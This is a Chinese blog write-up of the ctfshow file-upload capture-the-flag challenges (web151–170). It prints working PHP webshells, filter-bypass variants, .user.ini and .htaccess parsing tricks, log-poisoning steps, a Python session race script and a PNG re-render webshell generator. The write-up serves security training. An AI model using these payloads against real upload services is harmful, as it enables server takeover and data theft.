ctfshow 文件上传模块

文件上传

web151

image-20251122125228038

这道题是在前端对文件进行校验,由于在前端就对文件进行了校验,所以抓包是无效的,我们可以修改网页的源代码解决

image-20251122131305964

image-20251122131359634

然后上传一句话木马,拿下后台

image-20251122131417072

image-20251122131606873

web152

image-20251122131907821

这道题先是和上题一样的前端验证,然后后端还有一个验证,前端验证我们依旧是改源码

image-20251122132020105

然就是对付后端验证,我们先随便上传一张图片拿到图片的文件类型名

image-20251122130041662

image/png

然后把我们muma文件的文件类型修改成一样的

image-20251122132248285

这里其实已经拿下了,我们根据之前的路径用蚁剑连接

image-20251122132807737

web153

和上题一样的前端验证和后端验证,但修改文件类型并不能绕过后端验证

image-20251122133251293

进行了测试,发现他不仅检测文件类型,还会检测文件后缀,改了文件后缀就能传了

image-20251122140631629

但这样的话他就不能解析了,所以我们要更换思路,可以通过写.user.ini,可以让指定的文件(包括图片)解析到默认的主页,也就是index中 , 用人话讲就是.user.ini可以把你指定的一个文件包含到这个目录下任意一个会以php执行的文件中(比如index.php、test.php),当你访问index.php后这个被你指定的文件,无论后缀是什么,都会以php的方式进行读取,所以可以绕过后端检测 这个题目用了文件上传+本地文件包含

 auto_prepend_file = muma.png

⚠️ 注意

• 可以选择 auto_prepend_file 或 auto_append_file,区别如下:

auto_prepend_file:在木马文件上传之前上传,优先包含。

auto_append_file:在木马文件上传之后上传,延后包含。

我们先上传一句话木马,并且修改后缀

然后利用抓包上传ini配置文件,这里对后缀的检测应该是黑名单制,ini文件修改了类型就能传上去了

image-20251122140716509

然后我们随便访问一个php连接就行,这里我用的是index.php,注意由于是上传两个文件,所以不能用重放器

image-20251122162445905

web154

image-20251122163037304

依旧是前端验证加后端验证,这里哪怕改了后缀也无法上传

依旧先传配置文件,后传木马

image-20251122163212582

这里可能是对文件内容进行了过滤,因为我随便搞了个php文件,再改名成png,发现可以正常上传

image-20251122163938412

测试了下,是对php 进行了过滤,我们可以用短标签生成一句话木马

<?=@eval($_POST[1]);?>  

image-20251122164317096

image-20251122170937974

web155

web155和web154的区别在于upload.php对于字符检测所使用的函数不同 两段代码的主要差异在于检查文件内容是否包含“php”字符串时使用的函数: 154代码使用 strrpos($content, "php") == FALSE: strrpos 查找字符串中“php”最后一次出现的位置(区分大小写),返回位置索引或 FALSE。 如果文件内容中包含“php”(如 <?php),strrpos 返回非 FALSE,导致上传失败,返回错误代码 code=>3 和消息“文件内容不合规”。 155代码使用 stripos($content, "php") === FALSE: stripos 类似 strrpos,但不区分大小写,查找“php”第一次出现的位置。 使用严格比较 === FALSE,检查是否完全没有找到“php”(如 PHP 或 php)。 如果文件内容包含“php”或“PHP”,上传失败,返回错误代码 code=>2 和消息“文件类型不合规”。 如果154使用php短标签,则可以通杀这道题

web156

依旧是和之前一样的前端验证加后端验证,虽然ini配置文件传上去了,但木马又传不上去了,

image-20251123084451471

排查原因,发现是过滤了中括号,那我们可以用大括号进行绕过,payload为

<?=@eval($_POST{1})?>

image-20251123084923592

image-20251123102025677

web157

前面还是一样的前端验证和后端验证,我们先照常上传ini配置文件,然后去检查过滤的元素,发现大括号也被过滤了,除此之外;也被过滤了

image-20251123105820633

那我们可以直接命令执行不依靠蚁剑

<?=@system("tac ../flag.*")?>

image-20251123163539252

web159

还是和前面一样的验证,不过这里后端多了对小括号的过滤

image-20251123165319955

我们可以用反引号解决 tac ../flag.*,不要忘记目录穿越的../

image-20251124204618106

image-20251124204851116

web160

我们发现之前的配置文件传不上去了,但如果是空的.user.ini是可以正常传的,我们考虑内容被过滤了

image-20251124210740958

原来是把空格过滤了,这里删除空格不影响,在muma文件里,我们可以用$IFS$9的方法绕过空格,但注意,由于这里用不了{},为了不让$IFS$9被当成变量,我们要进行转义,不过麻烦的事``也被过滤了,那我们可以尝试日志包含上传文件,由于这里log也被过滤,所以我们考虑用.拼接字符串

我们构建木马

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20251124215007081

我们可以看到UA信息,那就把一句话木马写在UA头里

image-20251124215217553

image-20251124215257394

web161

我们和以前一样传配置文件,发现传不上去了,这道题其实多了对文件头的检查,不过png的头太麻烦了,我们在配置文件里插入gif头

GIF89a
auto_prepend_file=muma.png

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

一句话木马里也要,然后就和上面一样了

image-20251125204803816

image-20251125204822428

web162-163

别的都继承前面的检测,不过这道题把.也一并过滤了,这导致我们配置文件都得修改,而且上传的文件会删除,我们考虑用session竞争

我们先上传配置文件

GIF89a
auto_prepend_file=png

然后上传一个png文件,内容是

GIF89a <?=include"/tmp/sess_1"?>

然后运行脚本

import requests
import threading
import re

session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'yu22x tql'  #文件名,随便改就行
}
cookies = {
    'PHPSESSID': sess
}


def write(): #上传文件竞争过程
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True: #每次竞争完都访问一下url/uoload看有没有flag
        r = session.get(url2)
        if 'flag' in r.text:
            flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
            print(flag.findall(r.text))


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

image-20251125222542106

web164

png的二次渲染马

png文件组成

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.

数据块结构
img

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。
img

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

对于png的二次渲染马,我们可以写入IDAT

直接跑脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

我们直接运行脚本,生成文件再上传

image-20251125221535755

在上面输入&0然后输入你要用的方法,在post传参处传1,输入你的命令,抓包

image-20251125221546472

image-20251125221614308

web165

同样是二次渲染马的应用,不过这道题是jpg文件的二次渲染,我们先随便找个正常的jpg文件,上传上去让网页对它进行二次渲染

image-20251231134510731

我们运行脚本,对其继续修改,再次上传

image-20251231134539619

蚁剑拿下后台

web166

这道题和之前的不同的是,他要求的文件是zip文件而不是图片文件,我们直接写一个一句话木马,再把它变成zip文件上传

image-20251231140824862

然后我们在下载文件那里复制连接,得到文件地址

image-20251231140951208

image-20251231140922420

image-20251231141006259

web167

由于提示httpd,我们知道了这个中间件是apache,那我们就要写apache对应的配置文件.htaccess

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这个配置文件可以让apache服务器把所有jpg文件当成php文件读取,从而解析木马

我们先修改文件后缀变成.jpg,然后抓包修改文件信息把配置文件传上去

image-20251231143210301

image-20251231143223325

然后上传一句话修改了后缀的木马

image-20251231143316837

复制链接,拿下后台

image-20251231143348141

web168

对一句话木马有许多的过滤,比如system、eval还有include全都不行了

那我们可以用反引号来解决,先ls读一下文件列表

<?=`ls ..`;

image-20251231150924234

然后直接读取就行了

image-20251231151030386

image-20251231151434574

web169-170

这里过滤了<,我们要考虑日志包含,由于日志包含要有index.php,所以我们先人为上传一个上去,内容随意

然后我们上传新写的配置文件,让其进行日志读取

auto_prepend_file=/var/log/nginx/access.log

标签: none

添加新评论